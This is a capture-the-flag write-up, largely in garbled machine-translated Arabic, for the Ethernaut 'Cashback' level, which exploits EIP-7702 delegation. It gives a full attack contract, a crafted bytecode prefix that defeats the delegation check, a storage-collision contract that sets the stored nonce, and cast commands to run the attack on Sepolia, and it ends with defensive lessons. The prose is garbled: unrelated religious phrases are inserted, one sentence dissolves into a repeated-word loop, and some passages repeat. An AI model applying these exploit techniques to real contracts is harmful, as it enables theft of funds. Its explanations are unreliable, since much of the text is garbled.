أثناء اكتشاف التحديات في EIP-7702 ، عملت على التحدي – سباق يهدف إلى اختبار ما إذا كان المتطوعون يفهمون حقاً تأثيرات أمنية التمثيل على أساس 7702. على سطح المظهر ، يبدو التحدي بسيطًا: برنامج مكافآت يمنح المستخدمين مكافآت على سلسلة ويمنح NFT مرة كافية نقاط يتم جمعها. كازينو Cashback مكافأة رائعة كازينو Cashback للحصول على المشاركة، يجب على المستخدمين التمهيد إلى عقد Cashback باستخدام EIP-7702. فقط بعد ذلك يمكنهم إرسال payWithCashback وبدء الحصول على نقاط. في الواقع، يخلق مكتب EIP-7702 مخاوف أمنية تم تصميمها لتثبيت هذه التحدي. التحدي https://ethernaut.openzeppelin.com/level/36 https://ethernaut.openzeppelin.com/level/36 لقد وصلت إلى Cashback، الأكثر شيوعًا في المدينة، والخلفية هي غير قابلة للتنقيب: بالنسبة لكل دفع على سلسلة، يمكنك الحصول على نقاط. ويستخدم النظام EIP-7702 لتمكين EOA من الحصول على مكافآت، ويجب على المستخدمين إرسال رسالة إلى عقد مكافآت لاستخدام وظيفة payWithCashback. يذكر أن هناك بابًا هامًا لعملاء الطاقة. أسرارك بسيطة: تصبح حلمًا لبرنامج الامتياز. تكسير استردادك في كل العملة التي تدعمها وتذهب مع ما لا يقل عن اثنين من Super Cashback NFT ، والتي يجب أن تتوافق مع عنوان اللاعب الخاص بك. لقد وصلت إلى Cashback، الأكثر شيوعًا في المدينة، والخلفية هي غير قابلة للتنقيب: بالنسبة لكل دفع على سلسلة، يمكنك الحصول على نقاط. ويستخدم النظام EIP-7702 لتمكين EOA من الحصول على مكافآت. وظيفة . payWithCashback يذكر أن هناك بابًا هامًا لعملاء الطاقة. أسرارك بسيطة: تصبح حلمًا لبرنامج الامتياز. تكسير استردادك في كل العملة التي تدعمها وتذهب مع ما لا يقل عن اثنين من Super Cashback NFT ، والتي يجب أن تتوافق مع عنوان اللاعب الخاص بك. // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {ERC1155} from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import {TransientSlot} from "@openzeppelin/contracts/utils/TransientSlot.sol"; /*////////////////////////////////////////////////////////////// CURRENCY LIBRARY //////////////////////////////////////////////////////////////*/ type Currency is address; using {equals as ==} for Currency global; using CurrencyLibrary for Currency global; function equals(Currency currency, Currency other) pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(other); } library CurrencyLibrary { error NativeTransferFailed(); error ERC20IsNotAContract(); error ERC20TransferFailed(); Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); function isNative(Currency currency) internal pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(NATIVE_CURRENCY); } function transfer(Currency currency, address to, uint256 amount) internal { if (currency.isNative()) { (bool success,) = to.call{value: amount}(""); require(success, NativeTransferFailed()); } else { (bool success, bytes memory data) = Currency.unwrap(currency).call(abi.encodeCall(IERC20.transfer, (to, amount))); require(Currency.unwrap(currency).code.length != 0, ERC20IsNotAContract()); require(success, ERC20TransferFailed()); require(data.length == 0 || true == abi.decode(data, (bool)), ERC20TransferFailed()); } } function toId(Currency currency) internal pure returns (uint256) { return uint160(Currency.unwrap(currency)); } } /*////////////////////////////////////////////////////////////// CASHBACK CONTRACT //////////////////////////////////////////////////////////////*/ /// @dev keccak256(abi.encode(uint256(keccak256("Cashback")) - 1)) & ~bytes32(uint256(0xff)) contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { using TransientSlot for *; error CashbackNotCashback(); error CashbackIsCashback(); error CashbackNotAllowedInCashback(); error CashbackOnlyAllowedInCashback(); error CashbackNotDelegatedToCashback(); error CashbackNotEOA(); error CashbackNotUnlocked(); error CashbackSuperCashbackNFTMintFailed(); bytes32 internal constant UNLOCKED_TRANSIENT = keccak256("cashback.storage.Unlocked"); uint256 internal constant BASIS_POINTS = 10000; uint256 internal constant SUPERCASHBACK_NONCE = 10000; Cashback internal immutable CASHBACK_ACCOUNT = this; address public immutable superCashbackNFT; uint256 public nonce; mapping(Currency => uint256 Rate) public cashbackRates; mapping(Currency => uint256 MaxCashback) public maxCashback; modifier onlyCashback() { require(msg.sender == address(CASHBACK_ACCOUNT), CashbackNotCashback()); _; } modifier onlyNotCashback() { require(msg.sender != address(CASHBACK_ACCOUNT), CashbackIsCashback()); _; } modifier notOnCashback() { require(address(this) != address(CASHBACK_ACCOUNT), CashbackNotAllowedInCashback()); _; } modifier onlyOnCashback() { require(address(this) == address(CASHBACK_ACCOUNT), CashbackOnlyAllowedInCashback()); _; } modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } modifier onlyEOA() { require(msg.sender == tx.origin, CashbackNotEOA()); _; } modifier unlock() { UNLOCKED_TRANSIENT.asBoolean().tstore(true); _; UNLOCKED_TRANSIENT.asBoolean().tstore(false); } modifier onlyUnlocked() { require(Cashback(payable(msg.sender)).isUnlocked(), CashbackNotUnlocked()); _; } receive() external payable onlyNotCashback {} constructor( address[] memory cashbackCurrencies, uint256[] memory currenciesCashbackRates, uint256[] memory currenciesMaxCashback, address _superCashbackNFT ) ERC1155("") { uint256 len = cashbackCurrencies.length; for (uint256 i = 0; i < len; i++) { cashbackRates[Currency.wrap(cashbackCurrencies[i])] = currenciesCashbackRates[i]; maxCashback[Currency.wrap(cashbackCurrencies[i])] = currenciesMaxCashback[i]; } superCashbackNFT = _superCashbackNFT; } // Implementation Functions function accrueCashback(Currency currency, uint256 amount) external onlyDelegatedToCashback onlyUnlocked onlyOnCashback{ uint256 newNonce = Cashback(payable(msg.sender)).consumeNonce(); uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; if (cashback != 0) { uint256 _maxCashback = maxCashback[currency]; if (balanceOf(msg.sender, currency.toId()) + cashback > _maxCashback) { cashback = _maxCashback - balanceOf(msg.sender, currency.toId()); } uint256[] memory ids = new uint256[](1); ids[0] = currency.toId(); uint256[] memory values = new uint256[](1); values[0] = cashback; _update(address(0), msg.sender, ids, values); } if (SUPERCASHBACK_NONCE == newNonce) { (bool success,) = superCashbackNFT.call(abi.encodeWithSignature("mint(address)", msg.sender)); require(success, CashbackSuperCashbackNFTMintFailed()); } } // Smart Account Functions function payWithCashback(Currency currency, address receiver, uint256 amount) external unlock onlyEOA notOnCashback { currency.transfer(receiver, amount); CASHBACK_ACCOUNT.accrueCashback(currency, amount); } function consumeNonce() external onlyCashback notOnCashback returns (uint256) { return ++nonce; } function isUnlocked() public view returns (bool) { return UNLOCKED_TRANSIENT.asBoolean().tload(); } } النموذج الأمني المطلوب معاهدة Cashback تستخدم التعديلات لسيطرة الهاتف و الكود executes : who where : Caller identity checks onlyEOA(): تأكد من أن المتصل هو EOA وليس عقد (msg.sender == tx.origin). onlyCashback(): يضمن الاتصال هو اتفاق Cashback نفسه. onlyNotCashback(): تضمن الهاتف ليس اتفاق Cashback. : Execution context checks onlyOnCashback(): يضمن تشغيل الكود في عنوان العقد Cashback، ويمكن تشغيل الوظائف مع هذا التعديل فقط عند الاتصال مباشرة على العقد. notOnCashback(): تضمن أن الكود لا يتم تنفيذها في عنوان العقد Cashback. وهذا يعني أن الوظيفة يجب أن تعمل من خلال اتصال مفوض، وليس مباشرة على العقد. في الأساس ، يجب أن يعمل النظام بهذه الطريقة: يقوم EOA الممثل بتدعيم payWithCashback بنفسه وهذا يعمل لأن الدعوة لا تحدثOnCashback وتتواصل فقطEOA. تلقى وظيفة payWithCashback Cashback.accrueCashback مباشرة على الوظيفة Cashback. لديه ثلاثة تعديلات: onlyDelegatedToCashback يتحقق لأن المودع يتحقق في Cashback، onlyOnCashback يتحقق لأنه يتحقق في Cashback مباشرة. The modifier calls on . Since unlocked it, this check passes. onlyUnlocked isUnlocked msg.sender payWithCashback خلال التشغيل ، تصل مكالمات Cashback إلى consumeNonce على msg.sender. هذه الوظيفة لديها اثنين من التعديلات: يذهب فقط Cashback لأنه يتم مكالمة من قبل الوظيفة Cashback ، وليس OnCashback يذهب لأن هذه الوظيفة تعمل في سياق EOA. في النهاية، consumeNonce يزيد من nonce في تخزين EOA. العثور على المستويات قبل أن نتمكن من الهجوم، نحتاج إلى تحديد المعايير الرئيسية والمواقع للتحدي. العملات المستخدمة يدعم العقد Cashback اثنين من العملات، على الرغم من عدم تحديدها بشكل واضح في وصف التحدي، يمكننا العثور عليها: كلمات متعلقة بـ كلمات متعلقة بـ كلمات متعلقة Freedom Coin (FREE) في 0x13AaF3218Facf57CfBf5925E15433307b59BCC37 يمكنك التحقق من هذا عن طريق اتخاذ عنوان المستوى والتحقق من وبالتالي، من خلال الدعاء . الكود FREE() وظيفة مكافأة ضخمة NFT يمكنك العثور على عنوانك من خلال الاتصال في حالة Cashback الخاص بك. superCashbackNFT الحد الأقصى من Cashback و Cashback للتحقق من التكاليف المطلوبة للحصول على مكافأة أقصى ، نحن بحاجة إلى اثنين من المعايير. و في هذه الحالة، فإن العقد يستخدم بالنسبة إلى الحد الأدنى من الحسابات: maxCashback cashbackRates BASIS_POINTS = 10000 uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; على سبيل المثال، Freedom Coin لديه ماكس cashback من وبالتالي فإن معدل (أو 2٪) لتقييم التكاليف المطلوبة: 500e18 200 amount = maxCashback * BASIS_POINTS / rate amount = 500e18 * 10000 / 200 = 25000e18 هذا هو 25،000 تيمون مجاني. Nonce يبدأ في 0. العقد يؤدي إلى Super Cashback NFT عند وصولك إلى و الذي يتم إدخاله إلى 10000. SUPERCASHBACK_NONCE الهجوم على الرغم من المعمارية المعقدة تبدو غير قابلة للتنقّل في النهاية، هناك العديد من الاعتقادات الخاطئة التي يمكننا الاستفادة منها. عندما ننظر إلى الأكاديمية، نرى أننا يمكن أن نسمع على الرغم من أن تعديلاتها تم تصميمها لتحديد الوصول إلى الاتصالات الداخلية من خلال ، فإن الوظيفة نفسها هي خارجية ، لذلك يمكننا أن نسميها مباشرة إذا نترك الحماية: accrueCashback payWithCashback onlyOnCashback يمكننا تجنب ذلك من خلال إدخال الحالة Cashback مباشرة. onlyUnlocked لأن هذه الاتصالات التعديلية هيUnlocked على msg.sender ، يمكننا تجنبها من خلال الاتصال من اتفاقية مع وظيفة isUnlocked التي تحدد دائمًا حقيقة. وَقَالَ أَبُو حَنِيفَةَ وَالشَّافِعِيُّ وَالْحَنَابِلَةُ وَالْحَنَابِلَةُ وَالْحَنَابِلَةُ وَالْحَنَابِلَةُ: modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } ذاك يحاول المعدل التحقق من أن المرشح قام بتنظيم الاتفاق مع Cashback عن طريق قراءة عنوان الترخيص من كود الحساب. مع EIP-7702, الحسابات المعدلة لديها كود الحساب الخاص: يقرأ التعديل هذه 20 بيتاً (من المتوقع أن تكون عنواناً) ويؤكد أنها تتوافق مع عنوان الحالة Cashback. onlyDelegatedToCashback 0xef0100 To bypass ونحن بحاجة إلى رمز البيتكوين من اتفاقية الهجوم لدينا إلى أن تبدو مثالاً جديداً للمشاركة - على وجه التحديد ، يجب أن يظهر عنوان Cashback في البيتكوين 4–23. onlyDelegatedToCashback 0x??????<CASHBACK_ADDRESS>????...<rest_of_contract>. سوف نتعامل مع هذا تدريجيًا في وقت لاحق. أولا، دعونا نضع معاهدة الهجوم. إعداد اتفاقية الهجوم كما وافقنا ، سيتم إلغاء عقدنا من قبل الوثيقة Cashback مرتين: للتحقق من ما إذا كان يتم إلغاءه وتناوله. return the value required for a SuperCashback NFT. We want full cashback for both currencies, but since NFTs are minted with the caller's address as the ID, the second وَأَنْزَلَ مِنَ السَّمَاءِ مَاءً فَأَخْرَجَ بِهِ مِنَ الثَّمَرَاتِ رِزْقاً لَكُمْ نانسي فقط مرة واحدة. consumeNonce accrueCashback 10,000 سوف نحدد العملات والموضوع Cashback كبديلات. بشكل مباشر ، لا نحتاج إلى إنفاق الأسهم الحقيقية - نحتاج فقط إلى إرسال الكمية المناسبة للحصول على مكافأة أكبر. accrueCashback في النهاية ، سنقوم بتحويل جميع المكافآت وال NFT إلى عنوان لاعبنا. إليكم العقد الكامل: // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {Currency, Cashback} from "./Cashback.sol"; contract AccrueCashbackAttack { Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); Currency public constant FREEDOM_COIN = Currency.wrap(0x13AaF3218Facf57CfBf5925E15433307b59BCC37); Cashback public constant CASHBACK_INSTANCE = Cashback(payable(0xf991E138bA49e25a7DA1a11A726077c77c6241A8)); bool nftMinted; function attack(address player) external { uint256 nativeMaxCashback = CASHBACK_INSTANCE.maxCashback(NATIVE_CURRENCY); uint256 freeMaxCashback = CASHBACK_INSTANCE.maxCashback(FREEDOM_COIN); // Calculate amounts required to reach max cashback for each currency uint256 BASIS_POINTS = 10000; // Basis points from Cashback uint256 nativeAmount = (nativeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(NATIVE_CURRENCY); uint256 freedomAmount = (freeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(FREEDOM_COIN); // Call accrueCashback to mint cashback tokens and SuperCashback NFT to the attack contract CASHBACK_INSTANCE.accrueCashback(NATIVE_CURRENCY, nativeAmount); CASHBACK_INSTANCE.accrueCashback(FREEDOM_COIN, freedomAmount); // Transfer cashback tokens from attack contract to player CASHBACK_INSTANCE.safeTransferFrom(address(this), player, NATIVE_CURRENCY.toId(), nativeMaxCashback, ""); CASHBACK_INSTANCE.safeTransferFrom(address(this), player, FREEDOM_COIN.toId(), freeMaxCashback, ""); // Transfer the SuperCashback NFT (minted with the attack contract's address as ID) IERC721 superCashbackNFT = IERC721(CASHBACK_INSTANCE.superCashbackNFT()); superCashbackNFT.transferFrom(address(this), player, uint256(uint160(address(this)))); } function isUnlocked() public pure returns (bool) { return true; } function consumeNonce() external returns (uint256) { // We can mint only one NFT, because they are minted with id of the contract if (nftMinted) { return 0; } nftMinted = true; return 10_000; } } تعديل Bytecode من أجل تجنب التحقق من المسؤولية الآن يأتي الجزء السلبي.نحن بحاجة إلى تعديل bytecode to pass the التعديلات: أولاً، ابدأ بتعديلاتك. AccrueCashbackAttack onlyDelegatedToCashback إذا كنت تستخدم Hardhat، سيكون الكود في هناك اثنين من الممتلكات: artifacts/contracts/Attack.sol/AccrueCashbackAttack.json is the creation (init) code executed once during deployment. It runs the constructor logic and returns the runtime code to be stored on-chain. bytecode deployedBytecode هو الكود الذي يتم تخزينه في سلسلة بعد التطوير وتشغيلها في كل مرة يتم فيها إدخال العقد. We'll place our Cashback instance address at offset بالطبع حيث البحث عن: The follows after: 0x03 onlyDelegatedToCashback deployedBytecode 0x??????<CASHBACK_ADDRESS>????<ATTACK_DEPLOYED_BYTECODE> انخفاض على عنوان المرفق للخروج من عنوان 20 بوصة أثناء التشغيل العادي ، سنستخدم هذه الكودات: to specify the jump destination PUSH1 to perform the jump JUMP JUMPDEST لتحديد الهدف (من الضروري تجنب الارتفاع) وبهذه الطريقة، إلا أن التعديل يقرأ . onlyDelegatedToCashback <CASHBACK_ADDRESS> But what offset should we jump to? Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 ?? | PUSH ?? | [02] | 56 | JUMP | [03] | <CASHBACK_ADDRESS> | | [17] | ??? | ??? | المفهوم الإيجابي ولكن غير صحيح هو ثم بعد ذلك في الواقع ، يعتمد الإجابة على مدى الراحة لديك مع عنوان مثال Cashback الخاص بك. 0x17 <CASHBACK_ADDRESS> My instance is at . So my contract could start like this: 0xf991E138bA49e25a7DA1a11A726077c77c6241A8 Cashback address ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ 0x601756f991E138bA49e25a7DA1a11A726077c77c6241A85B ↑↑↑↑↑↑ ↑↑ PUSH + JUMP JUMPDEST Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 17 | PUSH 0x17 | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [17]? | 5B | JUMPDEST | ومع ذلك ، دعونا نرى كيف يتم إزالة هذا البيتكوين: المشكلة!البرنامج in our instance address is the opcode. When the EVM encounters يستهلك 30 بايتًا التالية كأداة حرفية، وليس كوصف. ( ) ) يتم وضعها في offset ولكن يتم استهلاكها كبيراً مثل البيانات بدلاً من أن يتم تنفيذها كوصف.هذا يفقد تدفق البيتكوين، مما يؤدي إلى عندما يتم الوصول إلى هذا الموقع. 0x7D PUSH30 PUSH30 JUMPDEST 5B 0x17 PUSH30 EVM error: InvalidJump لننظر إلى هذا الموضوع.نحن نضيف البساطة لضغطنا خارج 30 بيتاً استهلاكية : JUMPDEST PUSH30 جيدة! The appears at 2a. Let's update our المقالة التالية: الخبر النهائي: JUMPDEST PUSH1 0x602a56f991E138bA49e25a7DA1a11A726077c77c6241A8000000000000000000000000000000000000005B<attack-bytecode> Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 2a | PUSH 0x2a | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [2a] | 5B | JUMPDEST | This prefix totals 43 bytes: (2) + ( 1 ) + 20 + + (19) + 1 ) PUSH1 JUMP address padding JUMPDEST التعديلات المتعددة Jump Offsets Now we can add our . But since we increased the contract size by 43 bytes, we need to adjust all و offsets by this amount. deployedBytecode JUMP JUMPI للتحقق من ذلك ، دعونا نلقي نظرة على كيفية القيام بذلك يدويًا. ، اختر Bytecode ، واضغط على في الجانب الأيمن، سوف ترى قائمة الأقراص. at [0f]. Find all الكمبيوتر المستخدم من قبل and مع القيم التي تتوافق مع هذا ورفع أسعارها بنسبة 43. https://www.evm.codes/playground deployedBytecode JUMPDEST PUSH2 JUMP JUMPI JUMPDEST هذه الطريقة ليست مثالية - قد نتغير بطبيعة الحال ومع ذلك، يجب أن تكون الإيجابية الخاطئة نادرة بما فيه الكفاية لهذا التحدي. PUSH2 لماذا Push2؟ نظرًا لأن حجم العقد الأولي كان 3142 (0x0C46) بيتاً ، يمكن أن تتجاوز الهدفات الهبوط 255 ، لذلك يجب على المتصفح استخدام PUSH2 لتشكيلها. يستخدم المتصفح PUSH2 على نطاق واسع لجميع الوجهات المتسارعة بدلاً من مزيج PUSH1 و PUSH2. لماذا PUSH2 ? Because the initial contract size was 3142 (0x0C46) bytes, jump destinations can exceed 255, so the compiler must use PUSH2 لتشكيلهم. يستخدم المتصفح PUSH2 على نطاق واسع لجميع الوجهات المتسارعة بدلاً من مزيج PUSH1 و PUSH2. Doing this manually would be overwhelming, so I created a script that: Finds all opcodes and stores their initial and adjusted offsets JUMPDEST Finds all opcodes with values matching initial offsets and updates them to adjusted values PUSH2 JUMPDEST يمكنك العثور على السيناريو لتوسيع هذه العملية في . repository مستودع لا تنزيل أو إجراء الكود الجانبي أبداً، بما في ذلك هذا! تحقق دائمًا وتفهم ما تقوم به.استخدام بيئات منفصلة مثل devcontainers أو VMs عند تجربة الكود غير الموثوق به. لا تنزيل أو إجراء الكود الجانبي أبداً، بما في ذلك هذا! تحقق دائمًا وتفهم ما تقوم به.استخدام بيئات منفصلة مثل devcontainers أو VMs عند تجربة الكود غير الموثوق به. Creation Bytecode To deploy this contract, we need to craft creation bytecode. Let's modify the existing creation code. The value in artifacts contains it at the beginning. Here's mine: وَقَدْ أَخْرَجَهُ الْبُخَارِيُّ: bytecode 0x6080604052348015600e575f5ffd5b50610c468061001c5f395ff3fe [10] PUSH2 0c46 This is the initial code length— . 0c46 3142 bytes نحن بحاجة إلى استخدام طوله الكود المعدل بالإضافة إلى 43 بيتاً التي أضيفها من قبل. (3185 بيرت). الكود النهائي: 0C71 0x6080604052348015600e575f5ffd5b50610C718061001c5f395ff3fe ↑↑↑↑ مؤتمر Bytecode النهائي The final bytecode is simply the creation code concatenated with the adjusted . deployedBytecode تنفيذ الهجوم Let's deploy our bytecode using from Foundry: cast PRIVATE_KEY=0x{set-your-ethernaut-player-private-key} SEPOLIA_URL=https://{use-alchemy-or-infura} BYTECODE=0x{the-final-bytecode} YOUR_PLAYER_ADDRESS=0x{your-player-address} cast send --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY --create $BYTECODE Execute the attack: cast send $ATTACK_CONTRACT_ADDRESS \ "attack(address)" \ $YOUR_PLAYER_ADDRESS \ --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY تحقق من تداولك على Etherscan. يجب أن ترى التداولات الداخلية ذات الصلة بـ cashback token و NFT التحويلات. At this point, you've achieved maximum cashback for both currencies and obtained one NFT. However, its ID corresponds to your attack contract's address, not your player address. We need one more NFT with your address as the ID. Exploiting Storage Collision for the Second NFT We still need another NFT with our address as the ID. We can't simply repeat the same approach as in the previous attack. The only way is to actually execute كما هو الحال - من خلال تخصيص EOA الخاص بك إلى العقد Cashback. في الواقع، نحن بحاجة إلى زيادة نموذجنا بطريقة أخرى. payWithCashback consumeNonce لا تخلق إعادة تدوير EIP-7702 لتخزين منفصل لكل عقد إعادة تدوير. عندما يتم إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة تدوير إعادة ت يرجى ملاحظة أن حساب Cashback يستخدم دستورًا لتصميم تخزين مخصصًا لتشكيل تخزينها في سلة معينة. contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { // ... constants and immutables uint256 public nonce; } ذاك هو المعدل الأول في التخطيط - جميع المعدلات السابقة هي ثابتة وغير قابلة للتغيير ، لذلك لا تتخذ القرص. من OpenZeppelin يحصل على 3 سلاسل قبل وبالتالي ، فإن القفل الحقيقي هو في مع معرفة هذا ، دعونا نلجأ إلى مزيج كبير في مخزن EOA لدينا. nonce ERC1155 nonce 0x442a9...ba03 هنا هي هذه معاهدة التلاعب التي استخدمتها إلى Sepolia: nonce contract NonceAttack layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba03 { uint256 public injectedNonce; // The next call to payWithCashback will increment it to 10_000 and we will get SuperCashback NFT function injectNonce() external { injectedNonce = 9999; } } الخطوة التالية هي إعطاء EOA لدينا Foundry من يُعزّز عمليات التمييز. عادةً ما يجب علينا أن نطلب حسابنا، ورفعها إلى واحد، وتسجيل عملية التمييز، وبعد ذلك فقط إرسالها. ولكن نظرًا لأننا نقترح أنفسنا، يمكننا ببساطة تقديم عنوان التمييز. NonceAttack. cast cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <NONCE_ATTACK_ADDRESS> Now we can set the nonce using تذكر أننا نسمي هذه الوظيفة على أنفسنا، وليس على قضية : injectNonce() NonceAttack cast send $YOUR_PLAYER_ADDRESS \ "injectNonce()" \ --rpc-url $SEPOLIA_URL \ --private-key $PRIVATE_KEY Final Attack Step With the nonce now set to 9999 through storage collision exploitation, the final attack step involves re-delegating to the Cashback contract and executing one more transaction to push the nonce to 10,000, triggering the minting of the second SuperCashback NFT with your player address as its ID. إعادة توزيع حسابك إلى حالة Cashback. اتبع الخطوات نفسها مع NonceAttack: cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <CASHBACK_ADDRESS> معاهدة Cashback توفر وظيفة nonce للتحقق من nonce الخاص بك. cast call $YOUR_PLAYER_ADDRESS \ "nonce()" \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL اتبع الخطوة الأخيرة من خلال إرسال payWithCashback على نفسك: cast send $YOUR_PLAYER_ADDRESS \ "payWithCashback(address,address,uint256)" \ 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE \ 0x03dcb79ee411fd94a701ba88351fef8f15b8f528 \ 1 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL الآن لديك 2 NFTs ومكافأة أقصى. و قبل أن نذهب ، لا تنسى إزالة الوفد. cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth 0x0000000000000000000000000000000000000000 What We've Learned 1. Validate delegation the right way. دائما التحقق من prefix before extracting the delegated target. Thanks to EIP-3541, which forbids deploying contracts whose bytecode starts with 0xef, this prefix reliably distinguishes delegated EOAs from arbitrary contracts. 0xef0100 2. Never store protocol-critical state inside an EOA. ويمكن للمالك EOA أن يترك أي عقد، ويمكن أن يكتب هذا العقد بحرية إلى نفس محطات تخزين - بما في ذلك تلك التي قد تعتقد أنها خاصة. . your protocol's storage